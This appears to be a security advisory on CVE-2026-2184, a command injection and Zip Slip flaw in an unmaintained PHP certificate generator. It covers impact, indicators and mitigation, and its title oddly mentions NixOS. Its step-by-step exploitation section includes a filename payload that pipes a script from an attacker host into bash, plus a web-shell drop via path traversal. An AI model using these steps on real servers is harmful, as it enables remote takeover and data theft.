CVE-2026-2184: 
NixOS vulnerability analysis and mitigation

CVE-2026-2184 is an OS command injection vulnerability in the Great Developers Certificate Generation System, affecting all versions up to commit 97171bb0e5e22e52eacf4e4fa81773e5f3cffb73 (last active circa 2017-10-16). The flaw resides in /restructured/csv.php, where the photo parameter (filename from a file upload) is passed unsanitized into exec() calls, enabling remote, unauthenticated attackers to execute arbitrary OS commands. It was published on February 8, 2026, and assigned by VulDB. It carries a CVSS v3.1 base score of 9.8 (Critical) (VulDB, Feedly).

The root cause is improper neutralization of special elements in OS commands (CWE-78 / CWE-77). In csv.php, the application takes the uploaded file's name directly from $_FILES["photo"]["name"] and passes it to exec() without using escapeshellarg() or any other sanitization, allowing shell metacharacters in the filename to inject arbitrary commands. Additionally, the code extracts .gz and .zip archives using exec("tar -zxvf $file") and exec("unzip $file") without validating archive contents or paths, also enabling Zip Slip attacks. No authentication is required, and the attack complexity is low (GitHub PoC, VulDB).

Successful exploitation grants an unauthenticated remote attacker full OS command execution with the privileges of the web server process, enabling complete system compromise. Consequences include unauthorized access to sensitive data (confidentiality), arbitrary file creation or overwrite via Zip Slip (integrity), and potential service disruption or ransomware deployment (availability). The attack requires no user interaction and can be executed over the network with low complexity, making lateral movement and full server takeover realistic outcomes (GitHub PoC, Feedly).

A public proof-of-concept is available on GitHub, published by researcher lakshayyverma, detailing the vulnerable code and exploitation technique (GitHub PoC). There is no confirmed evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.0123 (~1.2%), reflecting a relatively low but non-negligible probability of exploitation in the near term (Feedly).

1. Reconnaissance: Identify internet-facing instances of the Great Developers Certificate Generation System by searching for the path /restructured/csv.php using tools like Shodan, Censys, or Google dorks (e.g., inurl:/restructured/csv.php).
2. Craft malicious filename: Prepare a file upload request where the filename contains shell metacharacters to inject a command, e.g., shell.php; curl http://attacker.com/shell.sh | bash; #.gz.
3. Upload the malicious file: Send a multipart HTTP POST request to /restructured/csv.php with the crafted filename in the photo field. No authentication is required.
4. Trigger command execution: The server-side code passes the unsanitized filename to exec() (e.g., exec("tar -zxvf shell.php; curl http://attacker.com/shell.sh | bash; #.gz")), executing the injected command as the web server user.
5. Alternatively — Zip Slip: Craft a .zip archive containing a file with a path traversal name (e.g., ../../var/www/html/webshell.php) and upload it. The exec("unzip $file") call extracts it to an attacker-controlled path, placing a web shell in the web root.
6. Achieve persistent access: Access the dropped web shell or reverse shell to establish persistent control, exfiltrate data, or pivot to other internal systems (GitHub PoC).

• Network: Unexpected outbound connections from the web server to external IPs (e.g., for reverse shells or payload downloads via curl/wget); HTTP POST requests to /restructured/csv.php with filenames containing shell metacharacters (;, |, $, backticks).
• File System: Unexpected PHP files (web shells) in the web root or subdirectories, particularly with names like shell.php, cmd.php, or random strings; files extracted outside the intended upload directory (Zip Slip artifacts); new archive files (.zip, .gz) in upload directories with suspicious names.
• Logs: Web server access logs showing POST requests to /restructured/csv.php with encoded or unusual Content-Disposition filenames; error logs showing exec() failures or unexpected command output.
• Process: Unusual child processes spawned by the web server process (e.g., apache2, nginx, php-fpm) such as /bin/bash, curl, wget, python, nc, or ncat; unexpected cron jobs or scheduled tasks created under the web server user account (GitHub PoC).

No patch is available, as the Great Developers Certificate Generation System repository has been inactive for many years and is no longer maintained (VulDB). The primary recommendation is to discontinue use of this software and migrate to an actively maintained alternative. If immediate removal is not possible, isolate the affected system from the internet using network segmentation or firewall rules blocking access to /restructured/csv.php. Deploy a Web Application Firewall (WAF) with rules to block requests containing shell metacharacters in file upload parameters. Additionally, monitor systems for unusual process execution and conduct an inventory of all deployments to assess organizational exposure (Feedly).

The vulnerability was flagged and shared by RedPacket Security on Mastodon and Twitter/X, noting the critical nature of the unauthenticated RCE (RedPacket Security). Coverage appeared on automated CVE aggregation platforms including Vulners, CIRCL, and InfinitSec shortly after disclosure. No major vendor statements or notable researcher commentary beyond the original PoC submission have been identified, likely due to the niche and unmaintained nature of the affected software.